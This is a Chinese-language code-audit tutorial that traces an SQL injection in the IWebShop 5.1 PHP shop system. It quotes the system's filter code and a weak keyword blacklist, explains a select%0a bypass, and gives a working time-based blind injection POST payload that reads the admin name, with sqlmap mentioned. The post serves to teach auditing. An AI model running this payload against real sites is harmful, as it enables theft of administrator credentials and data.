PHP 代码审计之死磕 SQL 注入

代码审计 2019-11-10

本文作者:x1a0t(信安之路代码审计小组成员)

代码审计中对 SQL 注入的审计是很常见的,那么要怎样才能审计出一个 SQL 注入呢?

作为新手,最为常见的方法当然是,死磕——也就是一一排查代码中存在 SQL 增删该查的地方,寻找注入点。当然,死磕也必须掌握一定方法,不然会耗费时间且收效甚微。下面是我个人总结的死磕流程,仅供参考

本篇以 IWebShop5.1 为例,来看一下我的审计过程:

通过前期的漏洞信息收集和查看功能代码等,我们了解到该 CMS 在 IReq 类中写了获取变量的方法,在 IFilter 类当中写了用来过滤的方法。来看下该 CMS 通篇都会使用到的 act 方法:

publicstaticfunctionact($str,$type='string',$limitLen=false)
{
   if(is_array($str))
  {
       $resultStr=array();
       foreach($stras$key=>$val)
      {
           $key=self::addSlash($key);
           $val=self::act($val, $type, $limitLen);
           $resultStr[$key] =$val;
      }
       return$resultStr;
  }
   else
  {
       //引用IValidate校验类协助过滤
       if(method_exists("IValidate",$type))
      {
           $result=call_user_func(array("IValidate",$type),$str);
           return$result==true?$str: "";
      }

       //引用正则表达式
       if(preg_match("%\W%",$type[0]) ==true)
      {
           $type=trim($type,$type[0]);
           returnIValidate::check($type,$str) ?$str: "";
      }

       switch($type)
      {
           case"int":
               returnintval($str);
               break;

           case"float":
               returnfloatval($str);
               break;

           case"text":
               returnself::text($str,$limitLen);
               break;

           case"bool":
               return(bool)$str;
               break;

           default:
               returnself::string($str,$limitLen);
               break;
      }
  }
}

防护代码比较长,效果也非常不错,正确使用的话基本不会问题。该过滤的方法的第二个参数指定了过滤的形式,如果第二个参数传入 string 或不传,将对变量内容进行转义。

好,关键点来了,如果接收传入的参数后,进行的是转义操作,一旦程序员后面在拼接 SQL 语句时并没有加引号限制,就会导致 SQL 注入。于是,我们就可以死磕这样一个可能的漏洞点去翻代码

根据情况,使用编辑器的全局正则匹配IFilter::act\(.+'string'\)IFilter::act\(.+[^']{1}\)(正则写得差请不要介意),翻前台代码找,毕竟前台 SQL 危害大。然后做代码跟进,直到 SQL 语句的部分

这里找到这么一处,代码:/controller/seller.php:1498

publicfunctioncategoryAjax()
{
   $id       =IFilter::act(IReq::get('id'));
   $parent_id=IFilter::act(IReq::get('parent_id'));
   if($id&&is_array($id))
  {
       foreach($idas$category_id)
      {
           $childString=goods_class::catChild($category_id);//父类ID不能死循环设置成其子分类

$id接收的内容最后进入goods_class::catChild,进入查看:

publicstaticfunctioncatChild($catId,$level=1)
{
...//省略代码
   $result=array($catId);

   while(true)
  {
       $id=current($result);
       if(!$id)
      {
           break;
      }
       $temp=$catDB->query('parent_id = '.$id);

看到没,最后一行$catDB->query中拼接时忘记添加引号,是不是很开心,翻了那么多代码终于找到一个注入点。接着就是考 SQL 知识的部分了,该系统自己写了个比较烂的防注入:

publicstaticfunctionword($str)
{
   $word=array("select ","select/*","update ","update/*","delete ","delete/*","insert into","insert/*","updatexml","concat","()","`","/**/","union(");
   foreach($wordas$val)
  {
       if(stripos($str,$val) !==false)
      {
           return'';
      }
  }
   returnself::removeEmoji($str);
}

这里对 select 的过滤仅仅是匹配了两种形式,我们完全可以使用select%0aselect(等多种方式绕过值得吐槽的还有后面那个()。这种防注入代码一般开始审计时就需要注意,防得很严的情况下会影响到漏洞点的方向。

漏洞利用

1、注册商家账号,后台审核通过(复现可直接后台添加商家),然后需要在商品分类处添加一个分类用于时间盲注

2、前台登陆商家管理,构造类似如下数据包

URL:

/index.php?controller=seller&action=categoryAjax

POST:

id[]=0 and if(ascii(substr((select%0aadmin_name from admin),1,1))%3d97,sleep(10),1)&parent_id=0

(此处的表名 admin 不需要添加前缀,CMS 会自动添加)

img

当然,使用 sqlmap 跑盲注更加方便:

img

总结

再列两个可能造成 SQL 注入的漏洞点,及编辑器中搜索的关键字:

  • 直接写或拼接的 SQL 语句,全局正则匹配['"]{1}[select|update|insert|delete]
  • SQL 操作函数中存在可能漏洞点,例如 Thinkphp 中的 where 函数,全局正则匹配where\(.+[\$\.]

作为新手,多读代码,切忌急于求成,最后愿喜欢代码审计的新手朋友们,终成大佬!


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论